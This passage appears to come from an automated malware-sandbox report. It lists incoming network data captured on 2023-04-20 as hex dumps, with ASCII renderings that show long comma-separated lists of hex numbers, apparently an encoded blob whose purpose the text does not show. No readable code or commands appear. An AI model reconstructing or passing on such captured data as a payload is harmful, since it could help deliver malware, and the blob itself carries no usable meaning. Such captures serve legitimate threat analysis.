2023-04-20 23:05:06 UTC	12685	IN	Data Raw: 61 2c 61 33 2c 64 33 2c 39 64 2c 31 30 66 2c 35 39 2c 66 34 2c 62 63 2c 31 32 36 2c 61 36 2c 65 62 2c 66 38 2c 61 66 2c 61 66 2c 62 62 2c 36 61 2c 66 65 2c 66 36 2c 36 66 2c 31 31 39 2c 34 33 2c 38 64 2c 38 65 2c 35 36 2c 62 35 2c 39 64 2c 61 65 2c 31 35 39 2c 38 63 2c 63 33 2c 36 36 2c 31 30 35 2c 31 32 33 2c 31 30 31 2c 31 31 64 2c 31 33 30 2c 65 30 2c 37 37 2c 34 61 2c 31 32 31 2c 31 37 32 2c 66 62 2c 37 63 2c 38 36 2c 39 35 2c 66 63 2c 33 35 2c 31 33 65 2c 31 31 34 2c 31 33 66 2c 37 30 2c 31 33 61 2c 37 38 2c 39 66 2c 35 65 2c 31 33 32 2c 38 63 2c 36 63 2c 31 33 65 2c 31 33 61 2c 64 66 2c 39 37 2c 62 63 2c 31 32 39 2c 64 39 2c 31 31 33 2c 31 31 39 2c 35 31 2c 64 39 2c 31 31 36 2c 64 38 2c 63 34 2c 38 32 2c 31 33 66 2c 31 34 34 2c 37 32 2c 31 33 31 2c Data Ascii: a,a3,d3,9d,10f,59,f4,bc,126,a6,eb,f8,af,af,bb,6a,fe,f6,6f,119,43,8d,8e,56,b5,9d,ae,159,8c,c3,66,105,123,101,11d,130,e0,77,4a,121,172,fb,7c,86,95,fc,35,13e,114,13f,70,13a,78,9f,5e,132,8c,6c,13e,13a,df,97,bc,129,d9,113,119,51,d9,116,d8,c4,82,13f,144,72,131,
2023-04-20 23:05:06 UTC	12701	IN	Data Raw: 36 32 2c 38 38 2c 61 63 2c 38 61 2c 34 64 2c 61 36 2c 62 61 2c 34 39 2c 64 64 2c 31 31 65 2c 36 36 2c 31 32 63 2c 61 65 2c 38 65 2c 61 36 2c 64 62 2c 31 33 65 2c 66 63 2c 31 32 62 2c 64 37 2c 65 37 2c 35 62 2c 61 61 2c 31 33 35 2c 62 33 2c 36 35 2c 63 65 2c 64 37 2c 39 31 2c 66 62 2c 36 39 2c 31 31 39 2c 31 36 66 2c 31 32 36 2c 31 32 39 2c 31 34 65 2c 31 34 31 2c 39 32 2c 39 61 2c 35 38 2c 64 65 2c 66 32 2c 36 36 2c 66 65 2c 31 30 37 2c 61 31 2c 31 34 63 2c 39 63 2c 63 36 2c 31 32 63 2c 31 36 38 2c 37 61 2c 37 30 2c 61 32 2c 65 37 2c 63 39 2c 38 32 2c 38 30 2c 31 35 33 2c 61 35 2c 65 34 2c 31 30 63 2c 65 63 2c 35 64 2c 31 36 39 2c 63 38 2c 37 33 2c 31 33 32 2c 61 61 2c 37 39 2c 37 36 2c 37 35 2c 65 66 2c 65 65 2c 31 31 62 2c 31 31 37 2c 31 31 62 2c 63 37 Data Ascii: 62,88,ac,8a,4d,a6,ba,49,dd,11e,66,12c,ae,8e,a6,db,13e,fc,12b,d7,e7,5b,aa,135,b3,65,ce,d7,91,fb,69,119,16f,126,129,14e,141,92,9a,58,de,f2,66,fe,107,a1,14c,9c,c6,12c,168,7a,70,a2,e7,c9,82,80,153,a5,e4,10c,ec,5d,169,c8,73,132,aa,79,76,75,ef,ee,11b,117,11b,c7
2023-04-20 23:05:06 UTC	12717	IN	Data Raw: 61 2c 62 36 2c 62 34 2c 65 36 2c 35 33 2c 64 38 2c 64 33 2c 37 64 2c 64 34 2c 36 66 2c 37 62 2c 39 62 2c 38 39 2c 65 38 2c 64 64 2c 65 31 2c 31 30 66 2c 63 38 2c 38 66 2c 31 31 31 2c 34 39 2c 31 30 65 2c 31 34 66 2c 39 39 2c 35 39 2c 31 32 65 2c 39 33 2c 31 33 30 2c 66 61 2c 66 64 2c 31 32 33 2c 65 39 2c 31 33 31 2c 35 66 2c 31 36 63 2c 31 32 65 2c 61 34 2c 31 32 30 2c 37 61 2c 61 30 2c 35 33 2c 31 30 62 2c 36 32 2c 38 62 2c 31 35 62 2c 31 32 61 2c 31 34 37 2c 31 35 36 2c 31 35 36 2c 31 35 33 2c 31 33 64 2c 31 34 37 2c 35 66 2c 31 31 39 2c 36 65 2c 38 66 2c 65 34 2c 39 36 2c 37 65 2c 31 30 64 2c 37 66 2c 31 30 36 2c 66 32 2c 34 61 2c 37 30 2c 39 64 2c 31 36 37 2c 65 64 2c 65 32 2c 38 30 2c 37 32 2c 31 32 63 2c 65 33 2c 66 63 2c 31 34 31 2c 61 64 2c 66 38 Data Ascii: a,b6,b4,e6,53,d8,d3,7d,d4,6f,7b,9b,89,e8,dd,e1,10f,c8,8f,111,49,10e,14f,99,59,12e,93,130,fa,fd,123,e9,131,5f,16c,12e,a4,120,7a,a0,53,10b,62,8b,15b,12a,147,156,156,153,13d,147,5f,119,6e,8f,e4,96,7e,10d,7f,106,f2,4a,70,9d,167,ed,e2,80,72,12c,e3,fc,141,ad,f8
2023-04-20 23:05:06 UTC	12733	IN	Data Raw: 33 61 2c 31 30 31 2c 31 31 39 2c 31 35 66 2c 31 30 31 2c 34 32 2c 61 37 2c 62 30 2c 63 39 2c 64 66 2c 31 32 64 2c 31 33 35 2c 39 63 2c 63 66 2c 38 30 2c 62 66 2c 31 33 35 2c 36 62 2c 62 65 2c 31 34 61 2c 31 35 65 2c 31 31 39 2c 61 34 2c 35 33 2c 31 32 61 2c 31 33 65 2c 31 35 34 2c 31 30 36 2c 31 31 62 2c 31 33 34 2c 31 30 38 2c 61 34 2c 31 31 66 2c 63 35 2c 31 33 36 2c 36 65 2c 63 64 2c 31 31 34 2c 63 30 2c 31 34 31 2c 39 31 2c 31 32 32 2c 39 38 2c 38 63 2c 61 63 2c 31 32 33 2c 31 30 33 2c 66 62 2c 31 31 65 2c 31 34 30 2c 65 30 2c 38 64 2c 31 33 31 2c 38 66 2c 37 36 2c 61 33 2c 31 31 39 2c 31 35 63 2c 31 33 62 2c 65 35 2c 62 38 2c 31 30 31 2c 63 62 2c 65 38 2c 34 35 2c 31 31 62 2c 39 33 2c 31 31 34 2c 31 30 32 2c 38 33 2c 39 65 2c 31 34 37 2c 39 33 2c 31 Data Ascii: 3a,101,119,15f,101,42,a7,b0,c9,df,12d,135,9c,cf,80,bf,135,6b,be,14a,15e,119,a4,53,12a,13e,154,106,11b,134,108,a4,11f,c5,136,6e,cd,114,c0,141,91,122,98,8c,ac,123,103,fb,11e,140,e0,8d,131,8f,76,a3,119,15c,13b,e5,b8,101,cb,e8,45,11b,93,114,102,83,9e,147,93,1
2023-04-20 23:05:07 UTC	12749	IN	Data Raw: 31 32 32 2c 64 35 2c 39 35 2c 31 31 32 2c 66 33 2c 31 32 62 2c 64 66 2c 31 31 61 2c 31 36 34 2c 63 35 2c 31 33 37 2c 31 34 64 2c 61 37 2c 31 30 63 2c 66 39 2c 62 37 2c 65 63 2c 36 37 2c 31 33 65 2c 36 38 2c 63 36 2c 31 32 63 2c 37 33 2c 39 65 2c 62 36 2c 39 62 2c 31 35 32 2c 61 39 2c 31 33 65 2c 37 31 2c 63 32 2c 35 38 2c 63 65 2c 31 33 35 2c 31 32 38 2c 38 35 2c 31 31 61 2c 31 31 65 2c 62 33 2c 31 33 39 2c 31 32 35 2c 33 30 2c 66 38 2c 31 33 32 2c 64 32 2c 31 32 39 2c 63 63 2c 62 35 2c 31 35 30 2c 31 33 31 2c 66 37 2c 62 62 2c 65 32 2c 62 63 2c 37 35 2c 65 35 2c 31 32 33 2c 39 62 2c 31 35 65 2c 31 30 39 2c 31 33 61 2c 38 61 2c 38 31 2c 62 66 2c 31 30 65 2c 61 38 2c 62 36 2c 31 35 38 2c 63 62 2c 65 39 2c 31 32 37 2c 31 34 61 2c 62 63 2c 31 30 34 2c 31 32 Data Ascii: 122,d5,95,112,f3,12b,df,11a,164,c5,137,14d,a7,10c,f9,b7,ec,67,13e,68,c6,12c,73,9e,b6,9b,152,a9,13e,71,c2,58,ce,135,128,85,11a,11e,b3,139,125,30,f8,132,d2,129,cc,b5,150,131,f7,bb,e2,bc,75,e5,123,9b,15e,109,13a,8a,81,bf,10e,a8,b6,158,cb,e9,127,14a,bc,104,12
2023-04-20 23:05:07 UTC	12765	IN	Data Raw: 33 2c 37 64 2c 31 32 38 2c 31 33 62 2c 37 33 2c 31 31 37 2c 31 32 37 2c 64 33 2c 36 35 2c 31 35 37 2c 38 36 2c 31 33 65 2c 39 63 2c 31 32 64 2c 61 33 2c 31 31 35 2c 62 33 2c 31 33 36 2c 64 66 2c 39 34 2c 33 65 2c 31 31 37 2c 38 31 2c 62 65 2c 63 64 2c 31 32 61 2c 31 31 63 2c 31 31 38 2c 31 30 31 2c 31 30 64 2c 64 61 2c 31 34 38 2c 31 34 62 2c 31 31 62 2c 31 31 32 2c 35 66 2c 62 36 2c 31 31 30 2c 39 65 2c 65 30 2c 31 31 33 2c 31 30 38 2c 36 61 2c 31 35 34 2c 31 32 32 2c 31 35 30 2c 61 62 2c 62 33 2c 65 63 2c 39 30 2c 31 34 35 2c 36 30 2c 35 32 2c 66 30 2c 39 36 2c 31 33 36 2c 61 61 2c 31 31 38 2c 38 34 2c 31 32 63 2c 31 33 63 2c 31 31 61 2c 35 33 2c 35 39 2c 31 32 33 2c 39 63 2c 38 30 2c 34 64 2c 66 63 2c 31 35 31 2c 37 66 2c 37 33 2c 61 38 2c 36 39 2c 31 Data Ascii: 3,7d,128,13b,73,117,127,d3,65,157,86,13e,9c,12d,a3,115,b3,136,df,94,3e,117,81,be,cd,12a,11c,118,101,10d,da,148,14b,11b,112,5f,b6,110,9e,e0,113,108,6a,154,122,150,ab,b3,ec,90,145,60,52,f0,96,136,aa,118,84,12c,13c,11a,53,59,123,9c,80,4d,fc,151,7f,73,a8,69,1
2023-04-20 23:05:07 UTC	12781	IN	Data Raw: 2c 31 32 63 2c 61 35 2c 62 37 2c 31 35 35 2c 62 38 2c 65 37 2c 31 32 34 2c 38 33 2c 31 32 38 2c 31 33 31 2c 31 33 33 2c 31 36 34 2c 31 35 33 2c 66 35 2c 31 32 36 2c 31 30 32 2c 38 30 2c 31 34 36 2c 62 61 2c 31 34 39 2c 31 30 31 2c 62 62 2c 36 39 2c 39 64 2c 65 31 2c 62 38 2c 31 36 32 2c 31 33 64 2c 34 33 2c 63 63 2c 31 33 64 2c 31 32 32 2c 31 30 61 2c 39 38 2c 61 39 2c 66 62 2c 64 66 2c 31 30 65 2c 31 32 38 2c 66 66 2c 66 37 2c 64 32 2c 64 38 2c 31 31 32 2c 37 65 2c 61 36 2c 35 63 2c 35 39 2c 31 35 63 2c 31 32 39 2c 31 34 37 2c 64 34 2c 31 30 30 2c 36 65 2c 38 64 2c 31 30 30 2c 61 37 2c 31 31 64 2c 31 32 62 2c 63 64 2c 31 30 39 2c 31 31 30 2c 31 35 63 2c 35 37 2c 31 34 34 2c 61 33 2c 37 33 2c 37 66 2c 62 61 2c 38 66 2c 38 36 2c 61 33 2c 31 30 66 2c 66 65 Data Ascii: ,12c,a5,b7,155,b8,e7,124,83,128,131,133,164,153,f5,126,102,80,146,ba,149,101,bb,69,9d,e1,b8,162,13d,43,cc,13d,122,10a,98,a9,fb,df,10e,128,ff,f7,d2,d8,112,7e,a6,5c,59,15c,129,147,d4,100,6e,8d,100,a7,11d,12b,cd,109,110,15c,57,144,a3,73,7f,ba,8f,86,a3,10f,fe
2023-04-20 23:05:07 UTC	12797	IN	Data Raw: 36 2c 36 65 2c 31 33 31 2c 39 38 2c 31 30 66 2c 66 35 2c 31 32 66 2c 31 30 35 2c 31 35 65 2c 65 32 2c 36 37 2c 31 32 34 2c 31 31 64 2c 62 31 2c 36 61 2c 63 35 2c 65 33 2c 64 37 2c 63 35 2c 64 34 2c 31 35 61 2c 66 30 2c 62 32 2c 61 62 2c 63 34 2c 31 35 30 2c 39 33 2c 31 30 36 2c 31 34 34 2c 64 64 2c 64 62 2c 64 62 2c 37 33 2c 35 39 2c 31 32 65 2c 39 66 2c 62 63 2c 38 33 2c 31 33 32 2c 31 31 35 2c 36 39 2c 63 30 2c 31 34 34 2c 31 32 34 2c 31 31 66 2c 37 64 2c 31 33 38 2c 39 66 2c 61 30 2c 35 37 2c 39 39 2c 38 64 2c 38 39 2c 31 34 36 2c 31 35 35 2c 63 61 2c 66 33 2c 36 33 2c 62 64 2c 31 34 36 2c 31 30 35 2c 61 37 2c 31 30 32 2c 31 30 65 2c 31 33 30 2c 34 65 2c 31 30 66 2c 31 35 37 2c 66 65 2c 31 33 36 2c 31 31 32 2c 38 66 2c 66 35 2c 63 65 2c 39 32 2c 31 33 Data Ascii: 6,6e,131,98,10f,f5,12f,105,15e,e2,67,124,11d,b1,6a,c5,e3,d7,c5,d4,15a,f0,b2,ab,c4,150,93,106,144,dd,db,db,73,59,12e,9f,bc,83,132,115,69,c0,144,124,11f,7d,138,9f,a0,57,99,8d,89,146,155,ca,f3,63,bd,146,105,a7,102,10e,130,4e,10f,157,fe,136,112,8f,f5,ce,92,13
2023-04-20 23:05:07 UTC	12813	IN	Data Raw: 31 31 39 2c 66 38 2c 66 38 2c 38 65 2c 62 64 2c 65 38 2c 31 34 32 2c 66 30 2c 38 63 2c 63 36 2c 31 32 65 2c 31 34 63 2c 33 35 2c 31 30 31 2c 37 30 2c 31 34 64 2c 62 39 2c 31 31 35 2c 61 61 2c 38 37 2c 31 30 35 2c 31 33 62 2c 66 39 2c 61 65 2c 65 39 2c 38 39 2c 31 31 35 2c 31 31 62 2c 63 36 2c 66 31 2c 31 35 38 2c 31 35 33 2c 63 33 2c 66 38 2c 64 66 2c 38 65 2c 63 32 2c 31 31 33 2c 31 35 62 2c 66 63 2c 63 32 2c 62 63 2c 62 61 2c 61 61 2c 66 37 2c 65 30 2c 62 34 2c 66 64 2c 62 34 2c 36 36 2c 62 61 2c 64 31 2c 31 32 30 2c 65 64 2c 31 32 66 2c 37 31 2c 62 66 2c 31 36 36 2c 61 33 2c 31 34 63 2c 35 61 2c 61 62 2c 31 33 65 2c 31 34 63 2c 31 30 38 2c 64 32 2c 62 39 2c 31 33 35 2c 38 35 2c 64 65 2c 31 32 31 2c 37 31 2c 63 34 2c 63 66 2c 31 31 66 2c 62 66 2c 63 37 Data Ascii: 119,f8,f8,8e,bd,e8,142,f0,8c,c6,12e,14c,35,101,70,14d,b9,115,aa,87,105,13b,f9,ae,e9,89,115,11b,c6,f1,158,153,c3,f8,df,8e,c2,113,15b,fc,c2,bc,ba,aa,f7,e0,b4,fd,b4,66,ba,d1,120,ed,12f,71,bf,166,a3,14c,5a,ab,13e,14c,108,d2,b9,135,85,de,121,71,c4,cf,11f,bf,c7
2023-04-20 23:05:07 UTC	12829	IN	Data Raw: 31 31 64 2c 31 30 66 2c 31 35 34 2c 31 35 35 2c 38 32 2c 31 32 34 2c 64 66 2c 31 36 32 2c 31 31 32 2c 65 39 2c 61 62 2c 31 34 63 2c 31 34 36 2c 65 63 2c 31 31 33 2c 38 33 2c 66 32 2c 31 32 61 2c 65 64 2c 64 66 2c 37 62 2c 64 65 2c 63 34 2c 31 30 66 2c 62 38 2c 31 32 39 2c 38 61 2c 64 38 2c 62 30 2c 61 66 2c 37 64 2c 36 63 2c 66 31 2c 31 31 62 2c 64 63 2c 62 30 2c 64 65 2c 34 34 2c 64 32 2c 61 64 2c 31 32 34 2c 31 33 63 2c 31 30 30 2c 31 34 65 2c 31 30 30 2c 39 33 2c 37 34 2c 31 36 37 2c 38 32 2c 39 66 2c 31 30 39 2c 64 65 2c 31 35 66 2c 66 66 2c 66 65 2c 39 31 2c 31 31 37 2c 39 64 2c 63 38 2c 39 34 2c 31 34 31 2c 61 39 2c 36 64 2c 63 35 2c 65 39 2c 66 38 2c 31 37 35 2c 63 35 2c 31 30 30 2c 35 35 2c 31 37 33 2c 38 35 2c 62 32 2c 39 64 2c 31 32 34 2c 31 35 Data Ascii: 11d,10f,154,155,82,124,df,162,112,e9,ab,14c,146,ec,113,83,f2,12a,ed,df,7b,de,c4,10f,b8,129,8a,d8,b0,af,7d,6c,f1,11b,dc,b0,de,44,d2,ad,124,13c,100,14e,100,93,74,167,82,9f,109,de,15f,ff,fe,91,117,9d,c8,94,141,a9,6d,c5,e9,f8,175,c5,100,55,173,85,b2,9d,124,15
2023-04-20 23:05:07 UTC	12845	IN	Data Raw: 32 66 2c 31 35 39 2c 31 31 63 2c 31 30 61 2c 31 32 38 2c 37 31 2c 62 35 2c 31 32 34 2c 37 37 2c 31 31 31 2c 31 33 62 2c 66 65 2c 31 32 34 2c 31 30 64 2c 31 35 66 2c 31 31 33 2c 62 37 2c 31 32 38 2c 31 33 65 2c 65 32 2c 31 34 36 2c 62 66 2c 65 38 2c 66 64 2c 63 63 2c 36 65 2c 39 34 2c 62 39 2c 39 37 2c 64 31 2c 31 31 64 2c 31 32 31 2c 39 33 2c 65 34 2c 66 31 2c 31 32 32 2c 37 39 2c 39 32 2c 31 34 31 2c 31 33 32 2c 64 61 2c 64 35 2c 31 35 65 2c 65 33 2c 31 31 31 2c 31 34 32 2c 66 39 2c 31 32 33 2c 31 30 37 2c 35 32 2c 66 37 2c 31 34 35 2c 65 30 2c 33 39 2c 63 30 2c 61 62 2c 63 33 2c 31 32 30 2c 61 61 2c 31 33 61 2c 61 33 2c 37 30 2c 31 30 63 2c 63 38 2c 65 35 2c 31 34 63 2c 66 66 2c 37 37 2c 66 37 2c 32 66 2c 64 66 2c 31 30 35 2c 39 62 2c 38 30 2c 61 35 2c Data Ascii: 2f,159,11c,10a,128,71,b5,124,77,111,13b,fe,124,10d,15f,113,b7,128,13e,e2,146,bf,e8,fd,cc,6e,94,b9,97,d1,11d,121,93,e4,f1,122,79,92,141,132,da,d5,15e,e3,111,142,f9,123,107,52,f7,145,e0,39,c0,ab,c3,120,aa,13a,a3,70,10c,c8,e5,14c,ff,77,f7,2f,df,105,9b,80,a5,
2023-04-20 23:05:07 UTC	12861	IN	Data Raw: 34 2c 31 36 33 2c 61 36 2c 31 30 64 2c 31 32 33 2c 64 34 2c 36 65 2c 39 35 2c 66 61 2c 31 31 38 2c 65 38 2c 38 30 2c 66 34 2c 63 30 2c 66 36 2c 64 64 2c 31 30 37 2c 31 32 33 2c 38 61 2c 37 64 2c 39 34 2c 31 32 64 2c 63 65 2c 39 30 2c 33 36 2c 39 66 2c 31 32 37 2c 36 61 2c 38 32 2c 61 30 2c 62 62 2c 62 37 2c 64 30 2c 36 39 2c 61 35 2c 63 32 2c 65 61 2c 31 36 33 2c 65 33 2c 31 30 61 2c 63 64 2c 31 35 65 2c 37 61 2c 61 37 2c 38 65 2c 31 30 36 2c 31 31 65 2c 31 32 39 2c 39 65 2c 38 32 2c 65 31 2c 31 36 38 2c 39 33 2c 31 33 39 2c 64 31 2c 31 33 39 2c 36 64 2c 31 32 36 2c 39 63 2c 31 32 32 2c 31 31 30 2c 65 62 2c 39 38 2c 35 63 2c 38 34 2c 65 64 2c 34 32 2c 38 30 2c 31 33 62 2c 63 32 2c 31 31 38 2c 35 66 2c 31 31 61 2c 39 33 2c 65 35 2c 31 34 34 2c 31 33 30 2c Data Ascii: 4,163,a6,10d,123,d4,6e,95,fa,118,e8,80,f4,c0,f6,dd,107,123,8a,7d,94,12d,ce,90,36,9f,127,6a,82,a0,bb,b7,d0,69,a5,c2,ea,163,e3,10a,cd,15e,7a,a7,8e,106,11e,129,9e,82,e1,168,93,139,d1,139,6d,126,9c,122,110,eb,98,5c,84,ed,42,80,13b,c2,118,5f,11a,93,e5,144,130,
2023-04-20 23:05:07 UTC	12877	IN	Data Raw: 32 2c 31 34 65 2c 36 63 2c 31 34 31 2c 31 35 37 2c 31 32 33 2c 66 64 2c 63 34 2c 31 34 61 2c 31 32 66 2c 35 31 2c 31 31 62 2c 35 39 2c 39 32 2c 31 31 62 2c 38 32 2c 31 30 32 2c 66 39 2c 34 63 2c 36 64 2c 62 30 2c 37 32 2c 31 31 34 2c 61 32 2c 61 61 2c 66 63 2c 66 30 2c 31 32 39 2c 39 66 2c 38 34 2c 61 39 2c 39 37 2c 64 32 2c 64 32 2c 35 64 2c 37 32 2c 39 63 2c 31 35 62 2c 65 64 2c 64 34 2c 31 33 61 2c 61 32 2c 64 66 2c 31 31 34 2c 31 31 62 2c 39 39 2c 31 35 36 2c 36 30 2c 65 34 2c 31 32 37 2c 63 64 2c 36 34 2c 38 36 2c 37 34 2c 31 34 30 2c 64 34 2c 33 39 2c 31 32 31 2c 66 61 2c 61 39 2c 63 31 2c 31 34 35 2c 31 35 34 2c 31 30 64 2c 66 35 2c 62 33 2c 35 36 2c 62 31 2c 62 65 2c 66 63 2c 31 35 35 2c 39 61 2c 31 33 38 2c 31 31 31 2c 33 61 2c 31 34 33 2c 35 39 Data Ascii: 2,14e,6c,141,157,123,fd,c4,14a,12f,51,11b,59,92,11b,82,102,f9,4c,6d,b0,72,114,a2,aa,fc,f0,129,9f,84,a9,97,d2,d2,5d,72,9c,15b,ed,d4,13a,a2,df,114,11b,99,156,60,e4,127,cd,64,86,74,140,d4,39,121,fa,a9,c1,145,154,10d,f5,b3,56,b1,be,fc,155,9a,138,111,3a,143,59
2023-04-20 23:05:07 UTC	12893	IN	Data Raw: 2c 31 31 37 2c 66 64 2c 61 36 2c 62 30 2c 31 30 35 2c 33 61 2c 64 32 2c 31 32 63 2c 63 35 2c 39 62 2c 31 34 38 2c 33 63 2c 36 32 2c 66 36 2c 31 30 66 2c 39 34 2c 63 63 2c 64 63 2c 65 36 2c 37 37 2c 65 35 2c 31 33 62 2c 37 63 2c 63 62 2c 36 61 2c 31 30 33 2c 31 32 66 2c 66 36 2c 38 35 2c 61 30 2c 35 37 2c 62 34 2c 31 35 63 2c 64 31 2c 31 32 65 2c 66 62 2c 63 38 2c 31 30 33 2c 63 64 2c 35 65 2c 61 63 2c 31 33 31 2c 31 36 33 2c 37 35 2c 31 32 38 2c 31 31 64 2c 37 65 2c 65 65 2c 65 65 2c 31 30 35 2c 37 62 2c 36 32 2c 31 31 38 2c 31 32 62 2c 31 33 63 2c 66 66 2c 31 30 32 2c 62 65 2c 65 61 2c 64 34 2c 31 30 33 2c 35 63 2c 35 30 2c 31 30 33 2c 31 31 63 2c 63 31 2c 65 64 2c 65 61 2c 31 34 30 2c 37 33 2c 61 64 2c 31 34 63 2c 31 32 65 2c 38 61 2c 37 64 2c 31 31 35 Data Ascii: ,117,fd,a6,b0,105,3a,d2,12c,c5,9b,148,3c,62,f6,10f,94,cc,dc,e6,77,e5,13b,7c,cb,6a,103,12f,f6,85,a0,57,b4,15c,d1,12e,fb,c8,103,cd,5e,ac,131,163,75,128,11d,7e,ee,ee,105,7b,62,118,12b,13c,ff,102,be,ea,d4,103,5c,50,103,11c,c1,ed,ea,140,73,ad,14c,12e,8a,7d,115
2023-04-20 23:05:07 UTC	12909	IN	Data Raw: 2c 36 39 2c 33 30 2c 65 62 2c 36 31 2c 36 35 2c 66 31 2c 31 30 38 2c 62 65 2c 38 64 2c 31 34 64 2c 38 65 2c 39 33 2c 31 32 33 2c 36 62 2c 61 66 2c 31 34 37 2c 36 32 2c 63 34 2c 31 34 65 2c 33 64 2c 36 62 2c 65 64 2c 31 33 38 2c 31 33 37 2c 36 64 2c 37 65 2c 35 65 2c 36 38 2c 38 33 2c 31 30 61 2c 31 34 31 2c 64 61 2c 35 39 2c 66 33 2c 66 63 2c 66 62 2c 66 36 2c 62 33 2c 31 35 65 2c 64 36 2c 31 31 63 2c 64 35 2c 65 33 2c 63 33 2c 31 34 33 2c 31 30 61 2c 31 36 62 2c 31 32 63 2c 31 33 39 2c 38 38 2c 37 31 2c 65 30 2c 31 33 39 2c 63 62 2c 62 66 2c 62 39 2c 66 65 2c 34 31 2c 31 30 31 2c 38 66 2c 38 39 2c 31 35 31 2c 38 63 2c 31 34 62 2c 63 39 2c 34 38 2c 62 64 2c 31 32 30 2c 31 32 62 2c 31 31 38 2c 62 39 2c 31 33 62 2c 66 66 2c 31 34 66 2c 65 31 2c 63 38 2c 36 Data Ascii: ,69,30,eb,61,65,f1,108,be,8d,14d,8e,93,123,6b,af,147,62,c4,14e,3d,6b,ed,138,137,6d,7e,5e,68,83,10a,141,da,59,f3,fc,fb,f6,b3,15e,d6,11c,d5,e3,c3,143,10a,16b,12c,139,88,71,e0,139,cb,bf,b9,fe,41,101,8f,89,151,8c,14b,c9,48,bd,120,12b,118,b9,13b,ff,14f,e1,c8,6
2023-04-20 23:05:07 UTC	12925	IN	Data Raw: 36 2c 31 30 33 2c 64 30 2c 31 32 34 2c 36 36 2c 35 64 2c 31 30 37 2c 31 35 38 2c 31 35 65 2c 31 32 61 2c 31 34 63 2c 66 32 2c 62 32 2c 38 35 2c 61 63 2c 31 32 35 2c 35 63 2c 61 37 2c 31 32 61 2c 31 30 34 2c 61 62 2c 31 33 62 2c 39 38 2c 63 32 2c 65 32 2c 31 32 36 2c 36 37 2c 63 34 2c 66 66 2c 31 34 65 2c 31 31 37 2c 31 34 64 2c 66 37 2c 37 32 2c 61 32 2c 37 39 2c 37 38 2c 35 35 2c 37 39 2c 31 36 32 2c 63 62 2c 34 63 2c 31 35 31 2c 31 31 37 2c 64 37 2c 64 34 2c 31 33 39 2c 39 66 2c 31 35 34 2c 38 64 2c 65 35 2c 31 30 35 2c 31 30 30 2c 62 62 2c 35 39 2c 31 33 35 2c 31 35 38 2c 39 30 2c 31 31 66 2c 31 30 31 2c 31 34 62 2c 31 35 63 2c 65 61 2c 31 30 65 2c 35 64 2c 64 64 2c 36 30 2c 64 30 2c 35 38 2c 39 61 2c 31 30 63 2c 63 34 2c 65 65 2c 37 38 2c 31 35 63 2c Data Ascii: 6,103,d0,124,66,5d,107,158,15e,12a,14c,f2,b2,85,ac,125,5c,a7,12a,104,ab,13b,98,c2,e2,126,67,c4,ff,14e,117,14d,f7,72,a2,79,78,55,79,162,cb,4c,151,117,d7,d4,139,9f,154,8d,e5,105,100,bb,59,135,158,90,11f,101,14b,15c,ea,10e,5d,dd,60,d0,58,9a,10c,c4,ee,78,15c,
2023-04-20 23:05:07 UTC	12941	IN	Data Raw: 63 2c 36 65 2c 31 34 34 2c 31 35 31 2c 64 35 2c 31 32 34 2c 66 30 2c 31 30 36 2c 31 32 35 2c 31 31 66 2c 64 65 2c 31 31 65 2c 65 64 2c 39 65 2c 31 33 34 2c 31 33 33 2c 31 31 66 2c 63 31 2c 31 35 33 2c 31 33 31 2c 63 34 2c 37 36 2c 64 65 2c 66 35 2c 38 62 2c 39 39 2c 31 36 30 2c 31 33 31 2c 33 63 2c 31 35 65 2c 31 31 31 2c 33 38 2c 39 61 2c 31 34 66 2c 31 34 31 2c 31 33 65 2c 64 39 2c 61 35 2c 65 36 2c 36 62 2c 65 61 2c 35 64 2c 31 35 32 2c 62 63 2c 36 63 2c 31 30 61 2c 39 66 2c 61 36 2c 31 35 36 2c 39 37 2c 37 65 2c 61 32 2c 31 33 64 2c 65 32 2c 31 34 36 2c 31 30 65 2c 64 61 2c 31 32 33 2c 31 30 62 2c 31 30 34 2c 35 66 2c 65 34 2c 39 62 2c 37 66 2c 39 64 2c 38 65 2c 61 63 2c 63 66 2c 62 65 2c 37 65 2c 31 32 66 2c 31 31 61 2c 31 33 63 2c 64 39 2c 31 35 66 Data Ascii: c,6e,144,151,d5,124,f0,106,125,11f,de,11e,ed,9e,134,133,11f,c1,153,131,c4,76,de,f5,8b,99,160,131,3c,15e,111,38,9a,14f,141,13e,d9,a5,e6,6b,ea,5d,152,bc,6c,10a,9f,a6,156,97,7e,a2,13d,e2,146,10e,da,123,10b,104,5f,e4,9b,7f,9d,8e,ac,cf,be,7e,12f,11a,13c,d9,15f
2023-04-20 23:05:07 UTC	12957	IN	Data Raw: 36 2c 36 39 2c 31 30 66 2c 62 34 2c 31 33 65 2c 31 31 34 2c 31 31 33 2c 35 66 2c 61 33 2c 31 34 36 2c 31 30 38 2c 65 39 2c 39 35 2c 39 66 2c 61 38 2c 31 35 31 2c 31 31 63 2c 35 34 2c 31 35 35 2c 31 35 33 2c 39 38 2c 36 35 2c 66 38 2c 31 35 66 2c 61 61 2c 35 63 2c 64 30 2c 31 31 63 2c 31 32 64 2c 31 30 35 2c 61 61 2c 31 36 33 2c 63 32 2c 31 31 36 2c 62 34 2c 39 36 2c 62 66 2c 31 35 32 2c 38 35 2c 65 34 2c 63 63 2c 31 31 61 2c 61 32 2c 31 30 62 2c 38 31 2c 31 31 32 2c 63 61 2c 66 37 2c 39 61 2c 66 61 2c 31 36 38 2c 31 35 61 2c 31 33 62 2c 33 63 2c 63 65 2c 31 35 61 2c 31 30 61 2c 31 30 37 2c 31 32 30 2c 66 30 2c 31 31 35 2c 61 64 2c 64 61 2c 63 38 2c 36 66 2c 36 31 2c 66 65 2c 38 33 2c 31 31 36 2c 65 32 2c 35 64 2c 62 63 2c 31 31 36 2c 38 31 2c 38 33 2c 31 Data Ascii: 6,69,10f,b4,13e,114,113,5f,a3,146,108,e9,95,9f,a8,151,11c,54,155,153,98,65,f8,15f,aa,5c,d0,11c,12d,105,aa,163,c2,116,b4,96,bf,152,85,e4,cc,11a,a2,10b,81,112,ca,f7,9a,fa,168,15a,13b,3c,ce,15a,10a,107,120,f0,115,ad,da,c8,6f,61,fe,83,116,e2,5d,bc,116,81,83,1
